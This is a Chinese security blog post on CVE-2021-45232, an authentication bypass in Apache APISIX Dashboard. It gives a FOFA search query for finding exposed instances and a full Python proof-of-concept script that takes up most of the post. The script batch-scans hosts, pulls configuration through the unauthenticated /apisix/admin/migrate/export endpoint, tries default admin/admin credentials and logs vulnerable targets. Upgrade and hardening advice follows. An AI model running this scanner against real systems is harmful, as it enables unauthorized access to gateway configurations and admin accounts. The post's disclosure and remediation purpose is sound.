Apache APISIX 是一个动态、实时、高性能的 API 网关, 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。Apache APISIX Dashboard 使用户可通过前端界面操作 Apache APISIX。
CVE-2021-45232
该漏洞的存在是由于 Manager API 中的错误。Manager API 在 gin 框架的基础上引入了 droplet 框架,所有的 API 和鉴权中间件都是基于 droplet 框架开发的。但是有些 API 直接使用了框架 gin 的接口,从而绕过身份验证。
该漏洞危害等级:高危
CVE-2021-45232
title="Apache APISIX Dashboard"
Apache APISIX Dashboard < 2.10.1
根据目前FOFA系统最新数据(一年内数据),显示全球范围内(title=”Apache APISIX Dashboard”)共有 1,110 个相关服务对外开放。中国使用数量最多,共有 966 个;美国第二,共有 55 个;中国香港第三,共有 21 个;日本第四,共有 19 个;新加坡第五,共有 18 个。
POC:
host + /apisix/admin/migrate/export
import argparse
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36'}
def banner():
print(r"""
_______ ________ ___ ___ ___ __ _ _ _____ ___ ____ ___
/ ____\ \ / / ____| |__ \ / _ \__ \/_ | | || | | ____|__ \|___ \__ \
| | \ \ / /| |__ ______ ) | | | | ) || |______| || |_| |__ ) | __) | ) |
| | \ \/ / | __|______/ /| | | |/ / | |______|__ _|___ \ / / |__ < / /
| |____ \ / | |____ / /_| |_| / /_ | | | | ___) |/ /_ ___) / /_
\_____| \/ |______| |____|\___/____||_| |_| |____/|____|____/____|
by:Ifory""")
def parse_args():
parser = argparse.ArgumentParser(
epilog='\tExample: \r\npython3 ' + sys.argv[0] + ' -u 127.0.0.1:9000')
parser.add_argument("-u", "--url", type=str,
required=False, default=None, help="待检测URL")
parser.add_argument("-f", "--file", type=str,
required=False, default=None, help="批量导入检测")
return parser.parse_args()
def handle_url(host):
if 'http' not in host:
host = 'http://' + host
return host
def poc(host):
url = host + '/apisix/admin/migrate/export'
try:
respose = requests.get(url, headers=headers, verify=False, timeout=5)
if "Counsumers" in respose.text:
print(f"[+]{host} vul!")
with open("vul.txt", "a", encoding="utf-8") as f:
f.write(f"{url}\n")
else:
print(f"[-]{host} no vul!")
return True
except:
print(f"[-]{host} 页面无法访问")
return False
def login(host):
url = host + '/apisix/admin/user/login'
json = {"username": "admin", "password": "admin"}
try:
respose = requests.post(url, headers=headers,
json=json, verify=False, timeout=5)
if '"code":0' in respose.text:
print(f"[+]{host} default password!")
with open("vul_login.txt", "a", encoding="utf-8") as f:
f.write(f"{host}\n")
else:
print(f"[-]{host} no default password!")
except:
print(f"[-]{host} 页面无法访问")
if __name__ == '__main__':
banner()
args = parse_args()
if args.url:
host = handle_url(args.url)
if poc(host):
login(host)
else:
if args.file:
with open(f"{args.file}", "r", encoding="utf-8") as put:
for url in put.readlines():
host = url.strip()
host = handle_url(host)
if poc(host):
login(host)
引用链接:
https://github.com/Ifory885/CVE-2021-45232/blob/main/CVE-2021-45232.py
1、升级至最新安全版本 Apache APISIX Dashboard 2.10.1:https://github.com/apache/apisix-dashboard/releases/tag/v2.10.1
2、修改默认用户名和密码,并配置访问 Apache APISIX Dashboard的白名单。
转载请注明:Adminxe's Blog » Apache APISIX Dashboard 身份验证绕过漏洞 (CVE-2021-45232)